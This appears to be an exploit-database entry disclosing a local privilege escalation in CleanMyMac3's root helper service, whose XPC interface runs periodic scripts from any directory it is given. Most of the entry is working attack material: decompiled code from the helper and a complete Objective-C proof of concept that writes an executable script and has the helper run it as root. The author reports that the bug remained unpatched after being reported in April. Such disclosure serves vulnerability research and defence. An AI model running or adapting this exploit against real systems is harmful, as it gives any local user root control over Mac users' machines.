CleanMyMac3 Local Privilege Escalation Exploit

2018-07-27
ID: 98710
CVE: None
Download vulnerable application: None
CleanMyMac3 installs a rooted helper *com.macpaw.CleanMyMac3.Agent*, and
its XPC interface does not validate anything. In CMPrivilegedOperationprotocol,
there are actually more than one way to execute privileged code.
 The most straight forward one is to use periodic:
 void __cdecl -[CMPriviligedOperations
runPeriodicScript:withReply:](CMPriviligedOperations *self, SEL a2, id
a3, id a4)
{
  id v4; // rbx
  __int64 v5; // r14
  __int64 v6; // rdx
  __int64 v7; // r12
  void *v8; // rax
  __int64 v9; // rbx
  __int64 v10; // [rsp+8h] [rbp-38h]
   v4 = a4;
  v5 = objc_retain(a3, a2, a3);
  v7 = objc_retain(v4, a2, v6);
  v10 = v5;
  v8 = objc_msgSend(&OBJC_CLASS___NSArray, "arrayWithObjects:count:",
&v10, 1LL);
  v9 = objc_retainAutoreleasedReturnValue(v8);
  +[CMTaskRunner launchTaskAndGetTermStatusWithCmd:arguments:](
    &OBJC_CLASS___CMTaskRunner,
    "launchTaskAndGetTermStatusWithCmd:arguments:",
    CFSTR("/usr/sbin/periodic"),
    v9);
  objc_release(v5);
  objc_release(v9);
  if ( v7 )
    (*(void (__fastcall **)(__int64, signed __int64, _QWORD))(v7 +
16))(v7, 1LL, 0LL);
  objc_release(v7);
}
 Simply give periodic a directory, it will execute every shell scripts
inside.
 Here's a PoC:
 // clang messupmymac.mm -framework Foundation -o messup && ./messup
#import <Foundation/Foundation.h>
#import <xpc/xpc.h>
 @protocol CMPrivilegedOperation <NSObject>
- (void)sizeOfItemAtPath:(NSString *)arg1 reply:(void (^)(long long,
NSError *))arg2;
- (void)removeDiagnosticLogsWithReply:(void (^)(NSString *, long long,
NSString *, NSError *))arg1;
- (void)flushDNSWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeLibraryFromLauchdConf:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeGlobalLoginItemForAppWithPath:(NSString *)arg1
withReply:(void (^)(BOOL, NSError *))arg2;
- (void)startSpotlightReindexWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)runPeriodicScript:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)repairPermissionsWithReply:(void (^)(BOOL, int, NSString *))arg1;
- (void)stopStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)startStartupItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removeSMLoginItem:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)disableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)enableLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeLaunchdAgentAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)slimBinaryWithPath:(NSString *)arg1 archs:(NSArray *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)removeASLWithReply:(void (^)(BOOL, NSError *))arg1;
- (void)removeKextAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)removePackageWithID:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)truncateFileAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveToTrashItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)securelyRemoveItemAtPath:(NSString *)arg1 withReply:(void
(^)(BOOL, NSError *))arg2;
- (void)removeItemAtPath:(NSString *)arg1 withReply:(void (^)(BOOL,
NSError *))arg2;
- (void)moveItemAtPath:(NSString *)arg1 toPath:(NSString *)arg2
withReply:(void (^)(BOOL, NSError *))arg3;
- (void)echo:(NSString *)arg1 withReply:(void (^)(NSString *, NSError *))arg2;
- (void)pleaseTerminate;
@end
 int main(int argc, const char *argv[]) {
    // write payload script
    NSError *err;
    NSString *identifier = [[NSProcessInfo processInfo] globallyUniqueString];
    NSString *tmp = [NSTemporaryDirectory()
stringByAppendingPathComponent:identifier];
    NSFileManager *fileManager = [NSFileManager defaultManager];
    [fileManager createDirectoryAtPath:tmp
withIntermediateDirectories:YES attributes:nil error:&err];
    if (err) {
        NSLog(@"failed to create directory %@\nreason: %@", tmp, err);
        exit(-1);
    }
    NSString *executable = [tmp stringByAppendingPathComponent:@"payload.sh"];
    NSURL *url = [NSURL fileURLWithPath:executable isDirectory:NO];
    [@"id > /hello.txt" writeToURL:url
                                          atomically:NO
 encoding:NSStringEncodingConversionAllowLossy
                                               error:&err];
    if (err) {
        NSLog(@"failed to write to %@\nreason: %@", url, err);
        exit(-1);
    }
     [fileManager setAttributes:@{ NSFilePosixPermissions : @0777 }
                                     ofItemAtPath:executable
                                            error:&err];
    if (err) {
        NSLog(@"failed to set executable\nreason: %@", err);
        exit(-1);
    }
     // run
    NSXPCConnection *connection = [[NSXPCConnection alloc]
 initWithMachServiceName:@"com.macpaw.CleanMyMac3.Agent"
                                   options:NSXPCConnectionPrivileged];
     connection.remoteObjectInterface = [NSXPCInterface
interfaceWithProtocol:@protocol(CMPrivilegedOperation)];
    dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
    [connection resume];
    [connection.remoteObjectProxy runPeriodicScript:tmp
withReply:^(BOOL status, NSError *err) {
        if (err)
            NSLog(@"failed: %@", err);
        else
            NSLog(@"OK");
        dispatch_semaphore_signal(semaphore);
    }];
    dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
    NSLog(@"done");
    return 0;
}
 I reported this issue in April, but they havenat release any patch yet.
1-4-2 (www02)